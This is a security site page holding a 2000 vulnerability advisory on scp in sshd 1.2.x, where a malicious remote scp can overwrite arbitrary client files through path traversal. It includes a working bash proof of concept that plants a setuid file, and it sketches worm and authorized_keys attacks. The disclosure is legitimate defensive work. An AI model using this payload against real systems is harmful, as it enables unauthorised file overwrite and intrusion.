[ advisories | exploits | discussions | news | conventions | security tools | texts & papers ]
 main menu
- feedback
- advertising
- privacy
- FightAIDS
- newsletter
- news
 
 discussions
- read forum
- new topic
- search
 

 meetings
- meetings list
- recent additions
- add your info
 
 top 100 sites
- visit top sites
- sign up now
- members
 
 webmasters

- add your url
- add domain
- search box
- link to us

 
 projects
- our projects
- free email
 
 m4d network
- security software
- secureroot
- m4d.com
Home : Advisories : scp file transfer hole

Title: scp file transfer hole
Released by: Michal Zalewski
Date: 30th September 2000
Printable version: Click here
This issue appears quite often - tar suffers from problem of this kind as

well (using cute symlink tricks, you can create an archive, which, when

unpacked, can overwrite or create specific files anywhere in your

filesystem). This time, similar scp vulnerability has been found and

acknowledged in sshd 1.2.xx releases (no information on 2.0.xx).



When you are scp'ing files from remote machine to your local computer,

modified scp service on the second endpoint can spoof legitimate scp data,

overwriting arbitrary files.



As a proof of concept, I created trivial scp replacement (put it on remote

machine in the place of original scp binary - usually in /usr/local/bin).

It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy

file on client system:



--

#!/bin/bash



echo "D0755 0 ../../../../../../tmp/nope"

echo "D0755 0 ../../../../../../tmp"

echo "C4755 200 ScpIsBuggy"

dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null

dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null

--



This isn't really nice :P After SSH become popular, people started to

transfer files using scp (both user files and backups, logs etc).

Successful exploitation of single server (or even single account) might

cause futher intrusions on client machines.



Another thing I can imagine - automated scp worm, which will, after

intrusion, intercept futher scp sessions (eg. using ptrace) to send itself

to remote system (and, probably, doing other operations as well). This

doesn't actually require it to operate on privledged level :>



What's probably the most alarming, there is no simple way to detect such

attack - path is stripped before displaying filenames on client side -

in above example, you'll see successful transfer of ScpIsBuggy file,

suggesting it has been downloaded in current directory. Also, file modes

are not verified, so suid files can be placed in remote system (but that's

not the point, even without it, remote attack eg. on .ssh/authorized_keys

is possible).










(C) 1999-2000 All rights reserved.